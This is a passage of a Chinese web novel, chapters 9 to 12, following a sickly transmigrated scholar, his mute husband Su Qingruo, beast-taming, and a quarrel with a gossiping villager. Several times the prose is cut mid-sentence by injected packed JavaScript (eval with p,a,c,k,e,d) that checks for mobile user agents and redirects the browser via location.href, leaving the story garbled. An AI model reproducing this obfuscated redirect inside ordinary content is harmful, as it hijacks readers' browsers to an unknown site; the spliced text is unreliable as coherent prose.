等到他十三四,师父给观里装了网,还给他买了个手机,他才慢慢接触外面的世界。 也正是因为,师父比较独特的教育方式,让云长歇练了一手好字。加上原主写毛笔字的积累,云长歇的毛笔字还挺好看的。 云长歇教苏青箬的字,是寻常哥儿姑娘喜欢的簪花小楷。 这种字体更加娟秀一点,等到苏青箬多学几个字,到时候可以给他买些字帖临摹,要比云长歇写的簪花小楷更加标准。 想到他们要读书练字,就涉及到了买笔墨纸砚,这些都是特别烧钱的东西。 祖母走的时候,没有想过他会读书习字这件事情,就只给他留了一百两银子花用。 一百两银子若是只用在吃喝上面,确实足够云长歇生活好长一段时日。 但是如果加上读书,一百两银子就真的不算多了。尤其是在他们,只出不进的情况,就只能坐等山空了。 这样一想,他除了养身体,读书,修炼驭兽术,还要想办法做点营生才行。 上一世的他,从来没有为了钱苦恼过。 因为大山里没什么花费,吃喝什么都是自给自足。加上观里的香火还挺不错,他的生活过得还是挺滋润的。 如今没有师父师兄们,他的身体还这样的差,他一时间还挺不习惯。 两个人读完书练完字,之后苏青箬就上山去了,梁婶与甜桑也去了河边洗衣。 云长歇趁着这个时间,就把那些吃了开智丹的雀儿们叫过来。 一整颗开智丹,一群小山雀吃了,只有六只开了灵智。 他尝试用驭兽术与它们沟通,也不知道是不是因为鸟类不算兽,还是因为这些山雀智商太低,他试了半天也没能跟它们沟通上。 不过他也不失望,因为他在尝试的过程中,发现他听不懂它们说的话,它们却可以听懂他说的话。 他让它们站成一排,它们就可可爱爱的排成了一排,看起来又乖又萌。 “你们去帮我寻一些花种。” 山雀们闻言,扑棱着翅膀飞走了。 云长歇见状,也不知道它们明不明白什么是花种? 小鸟们一去不复返,云长歇以为是自己的驭兽术修炼的不到家,下午的时候他又努力的修炼了一个时辰。 然后就在他一脸疲惫,打算躺下来休息时。那六只山雀,终于陆陆续续从外面回来了。 六只山雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350132|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带回来六种东西,很明显这六只小可爱,并没有明白什么是花种。 它们带回来了树叶,杂草,梨花花瓣,香椿芽,小树枝,还有一朵金银花。 这里面也就香椿与金银花还算有点用处,但是由于太少也不能做菜或者卖钱。 云长歇有点无奈,但是也没有怪它们。 它们那么小,不够聪明也不奇怪。 之后他没有再给它们派任务,但是小鸟们似乎知道他的身体不好,不能像它们一样在外面肆意玩耍。 所以它们没有事情的时候,就会寻一些花花草草给他。虽然大多数都是一些杂草,但是云长歇还是挺喜欢的。 这一天早上,苏青箬依旧过来跟他读书练字。 梁婶过来送汤药时,看着他们两个人忍不住多了一嘴。 她说:“公子与夫郎成婚多日,如今你们之间的误会已经解除,以后不好再继续分房睡了吧。” 云长歇不打算与苏青箬圆房,他不是苏青箬的正牌夫君,不好与对方住在一个房里。为了不影响苏青箬以后再嫁,他觉得现在分房睡就挺好的。 如今整个村子的人都知道,他与苏青箬到现在都还没有圆房。以后他们若是和离了,看在苏青箬还是处子之身,他也能够找到更好的夫君。 云长歇是不希望,苏青箬如同书里那般再嫁给主角攻的。 主角攻身为一个世子,连自己喜欢的人都保护不了。他保护不了就算了,他还要把人弄到自己身边去,间接害死了苏青箬父子两个。 这样的男人苏青箬无福消受,云长歇希望把苏青箬留到躲开主角攻的时候。 等到那个时候,他的身体已经大好了,苏青箬也已经识字了。有着他的帮衬,苏青箬肯定能够再找一个更好的男人。 云长歇想要说不用了,他们这样就挺好的。 但是苏青箬却不是这样想的,他与云长歇的情况不一样。 他不知道他是书里的主角,也不知道后面他还有其他夫君。 如今的他与云长歇的误会解开,哪怕他并不急着与对方圆房,他也觉得他应该搬过来住。 这样就能堵住村里人的嘴,他就不用继续被人指指点点了。 还有就是,他就是个传统小哥儿。 传统小哥儿的想法很简单,那就是嫁个好夫君,生个小崽子。 苏青箬从小日子过得苦,他是不知道什么算是好日子的。 如今云长歇对他稍微好点,他能吃饱喝足了,他就觉得日子挺好的。 他现在不喜欢云长歇,也不怎么讨厌他这个人。若是哥儿注定要生孩子,他觉得跟云长歇生他不亏。 至少跟着对方,他和他的孩子以后应该衣食无忧。 是的,苏青箬就是这样一个想法简单朴实的小哥儿。 他见梁婶这样说了,他就小幅度点了点头。 正准备拒绝的云长歇见状,一时之间有点不好拒绝了。 人家哥儿都同意了,他这个做夫君的若是不同意,会不会让苏青箬十分没面子? 而且村里人本来就爱嚼舌根,若是知道他们之间误会解除了,云长歇依旧不愿意与苏青箬同房,到时候也不知道会说什么难听话。 罢了,反正哥儿身上有守宫砂,可以证明处子之身。只要他不碰对方,以后同房住应该也没有大问题。 这样想着云长歇这边就没有吭声,算是默许了苏青箬搬来跟他一起住。 9. 第 9 章 梁婶知道云长歇在三房不怎么受重视,三夫人一直把他视为眼中钉肉中刺。 如今虽有老夫人护着云长歇,却不是什么长远之计。因为老夫人很快就会回京,到时天高路远云长歇若是出事了,老夫人也没有办法立刻赶过来。 而且老夫人年纪也大了,以后估计没办法像现在这样来回跑,那么她对三夫人的威慑力就会大大减弱。 梁婶想着,早点让云长歇与夫郎圆房,两个人就能早点有个孩子。 三爷那边看在孙子的份上,对于云长歇的关注就能多一点,到时候云长歇的日子才能好过些。 所以当云长歇“同意”了,苏青箬搬进他的房间住,当天下午她就帮忙张罗着,把苏青箬的东西搬到公子房里。 苏青箬嫁过来的时候,苏家那边什么都没给他,身上就只带了一身衣服。后来因为原主厌恶他,苏青箬嫁过来也没有添置过什么东西。 梁婶说是帮苏青箬搬东西,实际上就只是看着苏青箬自己唯一的那件破棉衣,从他原本的房间挪到了云长歇那里。 说来,那件有点破的棉衣,还不是苏青箬自己的。棉衣是苏青箬二妹,从她心上人那里讨来的。 苏青箬的二妹叫苏苜蓿,今年十六岁。 她的运气比苏青箬好点,自幼就有一个青梅竹马,也就是她那个心上人。 她的心上人,是村里赤脚大夫家的儿子。 是个面容周正,性格腼腆的年轻汉子。 因为对方家是周围几个村子唯一的大夫,他家的条件自然要比村里大多数人好一些。 对方今年十八了,十八在古代年纪已经不小了。两个人两年前就定下了婚事,据说今年的冬天就打算摆酒席。 云长歇看着苏青箬那唯一的一件衣服,等到苏青箬出去之后,他便对一旁的梁婶说:“下一次婶子再去镇子上,麻烦婶子给他买两身衣裳。” 云长歇说着,就从钱袋里摸出来五两银子。 梁婶见状连忙摆手道:“不用给银子,公子之前给的二十两还多着呢。买衣服也用不了多少钱,公子不用再给老奴银子。” 梁婶说完又道:“其实不需要特意买成衣,老奴与甜桑平日无事时,可以给主夫做衣服穿的。做的衣服针脚更细密,还能够节省下来不少钱。” 想到他们家没什么进项,云长歇闻言便点了点头。 “银子婶子还是拿着吧,到时多买一些布回来,婶子自己与甜桑也做两身衣服。” 梁婶见状也就没有继续推辞,他们过来的时候没带什么衣服,眼看着天气渐渐热了起来,也确实该做一些衣服穿了。 还有公子的,公子金尊玉贵的,他们也要给公子多做几身衣服。 傍晚,苏青箬从外面回来,他带回来了一些野菜,还带回来了一捧野花。 甜桑见状立刻夸道:“主夫带回来的花真漂亮啊,甜桑这就找个瓶子装起来。” 苏青箬闻言有点不好意思,他就是刚好看到了一些野花,想到云长歇的书桌上空落落的,就想把野花带回来给他装扮房间。 此时见甜桑特意找瓶子,苏青箬心里就有点没底。这种上不了台面的野花,也不知道云长歇会不会觉得寒酸? 于是等到甜桑找了个瓶子,把野花摆到云长歇的房里后,苏青箬特意远远偷看了一眼。 偷看完,他又觉得自己有点好笑。 如今他搬到了云长歇房里,云长歇的房间也是他的,他完全没有必要偷偷摸摸。 这般想着,苏青箬就深呼吸了一口气,便抬脚进了云长歇的房里。 此时的云长歇在休息,他下午又修炼了驭兽术,整个人就觉得特别累。 如今的天气暖和一点,他开着房门睡觉梁婶也不会怪他。他就喜欢拖来一个躺椅,就靠在门口的位置晒太阳。 甜桑过来送花的时候,看到他还在休息就没有吵醒他。 苏青箬一脚踏进房门,就看到容貌俊俏的夫君,正躺在躺椅上沉沉睡着。 云长歇的长相确实很俊俏,要不是现在脸上带了一些病态,他应该是翩翩君子那一挂的。 此时他闭着双眼,长而浓密的睫毛,在眼下投下一片阴影。偏白的肤色,配上久病不愈的病容,让他身上多了一丝破碎感。 苏青箬见现在太阳下山了,有点担心他这样睡下去会着凉,便走近了一些轻轻咳了一声。 他的声音把云长歇吵醒了,只见云长歇的眼睫颤了颤,这才慢悠悠的睁开双眼。 云长歇看见他,轻声问道:“什么时辰了?” 苏青箬比了个太阳已经下山的手势,云长歇见状苍白的手握住扶手坐了起来。 “这么晚了,估计要用晚饭了。” 云长歇这样说着,便起身朝着外面走去。 他上一次取出来的灵泉还没用,这是他特意为了苏青箬准备的,就想要趁着今天哄着苏青箬喝了。 于是他去了一趟灶房,出来的时候端了一碗糖水。 这个时代的糖很贵的,苏青箬自幼生活在乡下,糖水这种东西他根本没喝过。 看到云长歇给他倒糖水,苏青箬一双眼睛都挪不动了。 他指了指自己,在问他真的可以喝吗? 虽然他早就可以随意进出厨房了,但是他从来没有敢动糖这种东西。 “喝吧,你忙碌一天,也应该渴了。” 苏青箬闻言就接了过来,糖水很好喝,不算特别甜,水温也不冷不热,他便一口气全部喝完了。 云长歇见状笑了笑,第一次服用这么多的灵泉水,等会苏青箬估计要闹肚子了。 事实上,没有过半盏茶的时间,苏青箬就真的开始闹肚子了。 他并没有怀疑那碗糖水,云长歇这个人以前不喜欢他时,也不屑用这样的小手段欺负人,如今两个人的关系缓和之后,就更加不可能这样捉弄他的。 苏青箬觉得,可能是他上山时吃了太多酸果子,回来又喝了一碗糖水,两者之间犯冲了吧。 好在他身体好,身上也没有太多杂质。他跑了两趟茅厕,之后又洗了个澡,身上的不适就好了。 晚上,他要和云长歇睡一处,本来他的心里还挺紧张,以为云长歇会跟他圆房。 结果等到真的躺到床上,看着总是一脸很累的云长歇,苏青箬的心里又放心下来。 应该不会那么快圆房,他这个夫君的身体不大好,估计也没有那个力气圆房。 这样想着,苏青箬看了云长歇一眼,然后就很快的睡着了。 云长歇今天也睡得很快,他的这一具身体也不大好,就算有培元丹也要慢慢养。 最近这几天,他急着修炼驭兽术,还要时不时的看书,身体经常处于超负荷状态。所以每天除了夜里睡觉,他白天也会经常在睡觉。 次日早上,苏青箬一如既往醒的很早。 昨天晚上,他睡的是床榻里侧,如今要起床了,他才发现不方便。 他小心翼翼偷看了云长歇一眼,见云长歇还没有要醒来的意思,便轻手轻脚从他身上往外爬去。 然后就在他这边小心的往外爬时,从窗口没有关严实的缝隙里,挤挤挨挨挤进来了两只山雀。 苏青箬见状太惊讶了,他记得这两只小山雀,之前就在云长歇房里出现过。 因为看到小山雀嘴里,好像还叼着什么东西,苏青箬下床的时候差点摔了。 他这一下动静不小,他担心云长歇会被他吵醒,连忙下意识回头看了过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350133|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 果不其然,云长歇眼睫一颤,下一瞬就睁开了双眼。 云长歇的眼眸很漂亮,眼神总是看不出太多情绪。哪怕此时是被人吵醒的,他也没有流露出半点的不满。 云长歇稍微缓了缓,这才从床上慢慢坐起身来。 苏青箬见状,便伸手把床两边的帐子给系起来。 就在他想要过去,帮云长歇拿外衣时,那两只不怕人的山雀,就在这个时候飞了过来。 它们落在了床上,蹦蹦跳跳的看着云长歇,似乎在炫耀它们今天带来的礼物。 云长歇见状笑了笑,“谢谢,我很喜欢。” 他这样说着,把山雀带来的两根杂草拿了起来。 之后他下床,把那两根杂草与昨日苏青箬带回来的野花放在了同一个瓶子里。 看到那些野花,云长歇还不忘对苏青箬说了一声。 “你采的花很漂亮。” 苏青箬闻言忍不住笑了笑,他还以为云长歇没有注意到呢。 对于云长歇特别招山雀的喜欢这一点,苏青箬的心里并没有觉得十分的奇怪。 天下之大,无奇不有。 有一些人就是特别招小动物的喜欢,苏青箬自己就特别招小动物的喜欢,一些猫猫狗狗就很喜欢围着他转悠。 只不过他招小动物喜欢,没有云长歇这样的奇特,所以看到山雀给他送东西,他一开始才会那么的惊讶。 但是很快,苏青箬就想通了,估计是云长歇经常投喂它们,它们这是想要回报云长歇呢。 就像是他喜欢喂野猫,有的时候野猫就会给他送田鼠什么的。 今天早上的惯例,依旧是先读书一个时辰。 等到他们读完书,苏青箬要去山上转转,云长歇便也跟了出去。 他的身体状况,暂时还没有办法往山上去。不过一直闷在家里也不好,他就想要在山脚下走走。 于是夫夫两个人一道出的门,村里人大多数都比较勤快,如今又是比较忙碌的春种。所以当他们一起出门时,就有不少村里人看见了。 苏青箬早上起来,头上只戴了个木簪。 云家老夫人给的玉簪,他可不敢在村里戴。 若是被他那个父亲看见,绝对会想办法跟他要走。 那东西珍贵,是老夫人给他的,他可不敢让家里人给贪了,到时候云长歇肯定会生气。 两个人一路来到山脚下,山脚下是没有什么野菜的,因为野菜都被村里人挖了,想要挖野菜还要到山上去。 但是今天云长歇跟他一起,苏青箬不好把他一个人撇下。 不管他们感情如何,对方毕竟是他的夫君,他还是要关心一些的。 所以今天苏青箬不打算上山了,他想着不如趁机带着云长歇熟悉一下云香村。 两个人在山脚下转了转,回去的路上看到一个村民的家里养了鹅,云长歇就想要跟人家买一只小鹅回去养。 一只鹅还挺贵的,大鹅要两三千文,也就是二三两银子。 一只小鹅,也要两三百文。 云长歇只要了一只小鹅,买它主要是练习他的驭兽术的。还不清楚他的驭兽术如何了,他暂时不敢在家里养太多鹅。 两个人出去一趟,回来时捧了只小鹅。 梁婶见状没有说什么,别人估计会觉得一个读书人养鹅玩物丧志。他们家的这位公子情况不同,只要他有心情玩也好比之前那样郁郁寡欢要好。 小鹅领进门,苏青箬与甜桑就一起给它在院子角落搭了个小窝。 如今小鹅还小,估计没办法一个鹅在小窝里休息。 甜桑就打算,夜里的时候把小鹅捧到他房里去,省得外面有黄鼠狼什么的,到时候把这只小鹅叼走了。 10. 第 10 章 小鹅入住家里的第三日晌午,陈猎户抱着个狗崽找上了门。 他们附近的几个村子,都没有小狗崽出生。他手里的这只小狗崽,是他镇上的朋友帮忙寻的。 陈猎户收了云长歇的钱,办事的时候自然比较用心。 狗崽是只细狗,细狗也就是猎犬。 神话里二郎神的哮天犬就是细狗。 云长歇看到小狗很喜欢,还特意询问了陈猎户,这样的狗要如何养,如何训练。 陈猎户花了不少时间教他,临走之前还让他以后有什么问题来寻他,只要是他知道的他都愿意教云长歇。 云长歇等得就是他这话,如今他与陈猎户的这番话,是为了他以后训练出个通人性的狗做铺垫的。 有梁婶,甜桑,以及苏青箬帮忙作证,知道他很喜欢狗,又跟会养狗的猎户学习。 以后就算他们的狗,被他养得特别聪明伶俐,大家也不会觉得奇怪了。 送走了陈猎户,云长歇趁着其他人不在,把剩下那颗开智丹给了小狗。 小鹅还太小,等稍微养几天,到时候再喂它开智丹也不迟。 狗本身的智商就不低,在吃了开智丹之后,它就能听懂人的话,训练起来就容易很多。 云长歇只花费了一下午,就让小奶狗学会了坐下,握手,和转圈。 只可惜,小家伙太小了。 它现在就跟幼年体人类一样,学得快忘得也快。 他不敢教它太多东西,怕教会它转头又全部忘了。 晚上休息的时候,苏青箬把小奶狗抱进了他们屋里。似乎担心云长歇会生气,他抱着小狗与云长歇解释很久。 云长歇看着他的比划,连猜带蒙的明白了他的意思。 苏青箬的意思很简单,他说他们村子靠近大山。 大山里有很多豺狼虎豹,村子里还有很多黄鼠狼。 小狗太小了,一只狗待在院子里,很容易被食肉动物给盯上。 就和甜桑,把小鹅抱进房里是一个意思。 苏青箬想着,云长歇是大家公子,他肯定没办法忍受,让一只狗跟他们住在一个房间。所以晚上休息的时候,他才会抱着狗过来求情。 好在,自从两个人冰释前嫌之后,云长歇对他的态度好了很多,倒是没有因为这件小事翻脸。 于是小狗顺利的,住进了他们的房里。 小家伙不怎么老实,又刚刚来到陌生的环境,只要没有人看着它,它就开始挠门开始嗷嗷叫。 苏青箬起来了几次,都没办法管住它。云长歇没有办法,只能亲自起身跟小奶狗讲道理。 “以后这里就是你的家了,我是你的主人,他也是你的主人。你只有乖乖听我们的话,跟着我们才能吃饱肚子。” 苏青箬见他,正儿八经跟一只奶臭奶臭的小狗讲道理,就忍不住偷偷笑了起来。 另一边的云长歇,并没有在意他的笑话,依旧一脸严肃的说着。 “听到没有,夜里不要叫了,也不要再挠门,不然我们会打你的。好了,你现在好好的睡觉,明天就带你出去玩。” 也不知道是开智丹有用,还是他在心里默念的驭兽术有用? 小狗就真的不闹腾了,而是晃晃悠悠找了个角落趴了下来。 云长歇见它终于安静了,这才对身边的苏青箬说道:“好了,我们也休息吧。” 苏青箬点了点头,等到云长歇在床榻里侧躺下,他这边便跟着也爬上了床。 为了照顾新来的小狗,他今天晚上开始睡外面。 云长歇身体不好,一旦睡着就不怎么会醒来。 相较于睡觉很老实的云长歇,苏青箬就比较喜欢起夜比较闹腾。 如今他能够睡在外面,倒是能够让他方便一些。 次日天微微亮,小奶狗就叫了起来。 小狗小,饿的快,也不经饿。 它安静了一夜,已经是忍耐的极限了。 它见两个主人还在睡,就忍不住跑到床边叫了起来。 如果云长歇的驭兽术修炼的到家,估计就能明白它此刻在说什么了。 小狗在说:“主人,起来,快起来,我饿了,我饿了!” 很可惜,云长歇的驭兽术修炼的很不到家,他根本听不懂小狗在说什么。 云长歇被吵得头疼,刚刚想要努力睁开眼睛,就听到身侧有人起来了。 随着那人起身,小狗不叫了。 很累很累的云长歇,在小狗安静之后,很快又沉沉睡去。 苏青箬抱着小狗,轻手轻脚出了房间。 等到离房间有一段距离了,苏青箬这才伸手点了点小狗的脑袋瓜。 不要叫,不要叫,真是一只坏小狗。 云长歇的身体不好,需要休息的时间要比普通人更多。 这个时候还早,没有必要让他起这么早,还是让他多睡会儿好了。 苏青箬这样想着,想到昨天晚上,云长歇答应小狗,今天要带它出去玩。 于是他从厨房拿了两个杂粮窝窝,一个白面糖心馒头,就带着小奶狗出了家门。 杂粮窝窝,与白面馒头,都是昨天晚上刚刚蒸的。 如今的天气不冷不热,馒头不热吃着也不会太凉。 苏青箬不觉得,早上只吃一个馒头有什么不好。 他在嫁给云长歇之前,以前早上都不吃东西的。 像是这样的白面馒头,他们家只有逢年过节才舍得蒸一锅。 如今不年不节的,他拿的还是白面裹了糖心的馒头,对他来说就是绝顶的美味了。 苏青箬吃了个白面馒头,又吃了一个杂粮窝窝,就把剩下的杂粮窝窝,揉碎了给脚边的小狗吃。 小家伙还小,吃杂粮窝窝有点噎。苏青箬见状,就带它去河边喝水。 然后让苏青箬没有想到的是,这么早就有人来河边洗衣服了。 洗衣服的人,正是不久前,那个跟村里小媳妇一起蛐蛐苏青箬的夫郎。 对方的年纪不小了,生了一张尖酸刻薄的脸。平日里他仗着自己年纪大,就喜欢蛐蛐一些小媳妇小夫郎。 小媳妇小夫郎年纪小,脸皮薄,就算被他说了,他们也不好意思追究。这也助长了,他在村子里胡说八道的气焰。 苏青箬不会说话,没办法跟对方打招呼,只好远远地点了点头。 那夫郎在看清是他后,有点浑浊的眼睛顿时亮起来。他放下手里的衣服,笑眯眯朝着苏青箬这边走过来。 “哎呦,这不是三公子家的夫郎吗,听说你们现在已经和好了,三公子终于愿意与你同房了?” 这话说的比较的孟浪,就算苏青箬是个乡下哥儿,也不知道要如何回答他。 不过好在,他本身就是个哑巴,可以装作不好表达,就能把事情糊弄过去。 然而人家就是奔着他来的,哪会让他就这样糊弄过去。 对方见苏青箬不说话,便继续笑眯眯的说道:“怎么样?三公子身体不好,房里事你很辛苦吧?” 苏青箬皱了皱眉,这话不仅羞辱了他,连带着也羞辱了三公子。 这个人估计是觉得,他不会说话也不识字,就算他说了什么难听话,他也没有办法告诉别人,所以才会这样的肆意妄为。 像是这样的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一个小哥儿不要脸,要跟他个老夫郎抢汉子。真是一个恶心的小骚货,他就看苏青箬怎么看怎么不顺眼。 是的,就算苏青箬根本没有跟他家汉子说过话,而是他家汉子偷偷惦记上了人家哥儿,这过错他也是要怪在苏青箬的身上。 像是他这样的夫郎媳妇,古代还是挺多的。错的人永远都不会是他们家又丑又废物的男人,错的永远都是那些长得漂亮的哥儿与女人。 尹秋花一边跑一边对云长歇道:“哎呦喂,三公子啊,你家夫郎可不得了啊,我就是跟他聊聊天,他就要上手打我啊?” 苏青箬听到他恶人先告状,就着急的跟过去想要解释。 可惜他不会说话,不等他走到他们跟前,尹秋花已经给他泼了更多的脏水。 尹秋花说:“你不知道啊,他私下来人可凶了,只要他看不顺眼的,他都要上手打别人一顿。他仗着自己是个哑巴,村子里的人都同情他,平日里在人前可会装了。但是等到没有人了,他就会换成另一幅模样。” 苏青箬闻言又气又急,他伸手拉了拉云长歇衣袖,就在他以为又要像以前一样,因为他没办法说话只能背锅的时候。 云长歇朝他安抚的笑了笑,随即冷下脸看向了尹秋花。 “打你了,那你身上怎么没有伤?你该不会是觉得他嫁给我了,就想要用这种法子讹钱吧?” “没有,没有,我怎么敢讹三公子的钱呢。” 如今他们村子大半的人,都要依靠着云家生活。就算大家都知道,这位三公子不怎么受宠,但是人家毕竟是云家的公子,他根本没有那个胆量讹他的钱。 11. 第 11 章 “既然不是想要讹钱,你为什么编造谎言?” 尹秋花闻言,想要说他没有编造谎言,苏青箬真的想跟他动手。 但是他身上也确实没有伤,云长歇看起来也不好糊弄,最后只能干巴巴的嘴硬道:“他真的打我了,没有留下伤痕,那是因为我躲得及时。三公子啊,你还是要好好管管你家夫郎,他这样的脾气可上不了台面啊。” 云长歇:“我们的家事,不劳你费心。你还是管好你自己的嘴巴吧,省得一不小心给自己惹火上身。” 尹秋花听到这话,脸上的表情顿时难看起来。以前都是他这个长辈,仗着年纪大对村里的小夫郎小媳妇指手画脚。如今突然被人这样说,他就觉得面子有点挂不住了。 “你这话说的,婶夫郎说这些话也只是为你好,不然也不会这样操心操肺的。你是一个读书人,读书人最讲究名声了。他身为你的夫郎,在外的一举一动都代表着你的脸面。他若是没有一点体面,最后丢人的还是你自己。” 云一边招呼着苏青箬跟他回去,一边语气毫不客气的说道:“你自己都不是个什么体面的人,就不要浪费口舌教育别人家的夫郎了。更何况真正的体面人,可不会闲着没事挑拨别人夫夫感情。” 云长歇这般说完,就甩了甩衣袖带着苏青箬走了。 说来有点可悲,这还是苏青箬从小到大第一次被人维护。 是的,就算是他的亲生父亲,在遇见今天这样类似的事情,对方的第一反应就是不信他。 明明他是他们亲眼看着长大的,他的品行如何他们应该心知肚明。可是每一次遇见这样的事情,他们就会反过来指责他,然后让他去跟别人道歉。 有的时候就是他的弟弟妹妹,他们也没有办法完全做到什么都不问就相信他。 其实也不算是,云长歇多么相信他。云长歇会毫不犹豫站他这边,主要是因为他站的位置更高。 云长歇是穿越者,穿越之前看过小说。苏青箬是里面的主角受,他的人品,他的性格,云长歇早就摸透了。 也正是因此,像是今天这样的事情,云长歇才会无需多想就选择相信苏青箬。 他们的小狗走得慢,跟着他们离开之前,还不忘朝着尹秋花叫了两声。 它目睹了整个事件的过程,加上开了智跟个孩子差不多。它不懂太复杂的是是非非,却明白这个人在欺负它的主子,那么对方就是个大大大坏人。 云长歇现在还没有办法听懂小狗的话,但是也能够猜到小狗骂的很脏很难听。 云长歇与苏青箬回去的路上,先是为了刚刚的事情安慰了苏青箬两句。 “下一次再遇见这样的人,没有必要跟他太客气。等到小狗长大一点了,你就让小狗去咬他就是。” 苏青箬闻言有点无奈,他们家的小狗才多大啊,云长歇就给它指派了帮他咬人的任务? 之后云长歇说道:“对了,你给小狗取个名字吧。” 苏青箬听到这话,忍不住有一点苦恼。 他没有怎么读过书,如今认识的字就那几个,取名字这样的大事情,怎么能够交给他啊? 似乎看出了他的不解和苦恼,云长歇笑着跟他解释了一下。 “它是猎犬,以后你上山时,可以经常带着它。它不仅可以保护你,还可以经常陪伴你。这样一来,它跟你会更加亲近,自然该由你来取名。” 苏青箬被他的话绕了进去,还真的开始认真想起名字来。 他觉得云长歇说的很对,小狗跟猎户家的黑狗差不多。若是以后跟着他一起上山,遇见危险小狗也能提醒他。 既然小狗要保护他,大多数时间陪着他,那确实应该他来取名字。 在他们这边走远了之后,另一边的尹秋花早就气疯了。他远远地看着他们的背影,就开始嘀嘀咕咕骂起人来。 “真是的,他还真的以为他是云家的公子啊?也不看看他现在是什么模样,他连自己的家都回不去,还好意思在这摆公子的架势。真是的,可笑死了。还有那个苏青箬,一个不会说话的臭哑巴,一个不要脸的狐狸精,以为嫁进了官老爷家里就真的是官老爷家的夫郎了?我要看他的守宫砂,他的反应这样的大,看样子……到现在还没有圆房呢。” 说着说着,尹秋花就笑了起来,心里说不出来的爽快。 只是不等他继续爽快,他家汉子路过河边看见他,就瞪着眼珠子开始骂他。 “你个懒夫郎,在那里傻笑什么呢?衣服洗好了吗?猪草打了吗?笑笑笑,我看你又是皮痒了,真是个欠收拾的蠢货!” 是的,这个瞪着眼珠子,大方脸,脸上有疤,长得还不如他高的男人就是他家的汉子。 哪怕对方长得很丑,哪怕对方喜欢打他,在他眼里都是香饽饽。 之前苏青箬不好找婆家时,他就特别担心苏青箬会惦记他家汉子,每天像是防贼一样防着苏青箬。 尹秋花看着对方,连忙往河边跑。他要把一大堆衣服洗了,回去的时候还要打猪草。 他们家没有养猪,猪草是给村长家打的,一捆猪草可以换两文钱,算是个很不错的赚钱门路。 …… 另一边云长歇他们回到家里,苏青箬从房里找来了纸和笔,给小狗取了个福旺的名字。 云长歇没有觉得这样的名字不好,反而随着苏青箬的取名风格,给家里的小鹅取了个福安的名字。 有了名字,家里几人叫小狗小鹅的时候,就开始福旺,福安的唤它们。 开了智的福旺很快就意识到了,福旺这两个字是它的名字了。 相较于福旺的聪慧,福安看起来就要傻气很多。 下午无事的时候,云长歇开始想赚钱的门路。 他其实有很多赚钱的法子,可惜他现在的身体不好,人就比较容易犯懒犯困,就不大乐意让自己太劳累。 他想到芥子空间里的那两片药田,其中有一块已经种满了草药,就想着要不拿出一些草药卖。 那里面的草药都是一些珍稀草药,什么人参,何首乌,党参,黄芪等等。因为生长在芥子空间里,还浇灌过灵泉水,那些草药就要比外面的更好,云长歇是不怎么舍得卖的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云长歇指着玉瓶对它道:“这个瓶子你不能动,知道吗?咱们家现在很穷,里面的灵泉只能用玉瓶装。你若是把玉瓶给弄坏了,以后我就没有东西装灵泉了。” 福旺趴在地上可怜的嗷嗷嗷,它觉得这些丹药和瓶子都好香,就没有忍住爬上去偷吃了。如今知道了这些东西很贵重,它以后就没有胆子再偷吃了。 云长歇教训完了狗,见狗眼神清澈中透着愚蠢与可怜,心软之下就倒了两滴灵泉给它。 他自己都不怎么舍得喝灵泉,不过想到养了狗就要好好养它。如今他已经把它领进了家门,就要把它当成半个家人对待。 他把灵泉水滴进了狗子的水碗里,然后对着福旺说道:“喝吧,以后你若是乖,我还会再给你喝。” 福旺十分开心,把滴了灵泉的一碗水全部炫了,随即就被云长歇给赶了出去。 等到房里只剩下他与福安了,他看了看福安,又看了看剩下的养颜丹与灵泉。 算了,这些养颜丹被狗子舔过,也不适合做成美肤膏了。 于是他大方了一回,把剩下的养颜丹和灵泉都给了福安。 之后,云长歇又进了一次芥子空间,他没有再把那些东西往外面拿,而是在里面直接做好了美肤膏。 开了灵智的狗和鹅,是能够感觉到灵泉水与那些丹药的好处的。他可不敢再把东西往外面拿,不然又要浪费很多珍贵的丹药。 12. 第 12 章 做好的美肤膏,云长歇原本是打算让苏青箬帮忙试试的。 后来他想到,原主是个读书人,一直心高气傲的。 他能因为娶个乡下哥儿,就觉得受到了奇耻大辱,然后把自己活活郁闷死。 以原主自己的性格,肯定没办法为了赚钱去做生意。云家是书香门第,估计也没办法忍受他偷偷做生意。 再加上,养颜丹与灵泉水做出来的美肤膏,美肤养颜的效果一定会很好,一旦卖出去肯定会卖到爆。 随着美肤膏卖到爆,他这个做美肤膏的人,也会受到很多人的关注。 到时候认识原主的人,肯定会奇怪原主一个读书人,为什么会有这样厉害的美容秘方。说不定还会因为秘方,给他招来很多危险和麻烦。 所以云长歇认真考虑了一番,还是决定先不把美肤膏的事情告诉苏青箬他们了。 不是不相信他们的为人,而是这样的事情知道的人越少越安全,同时也能够避免给他们带来麻烦。 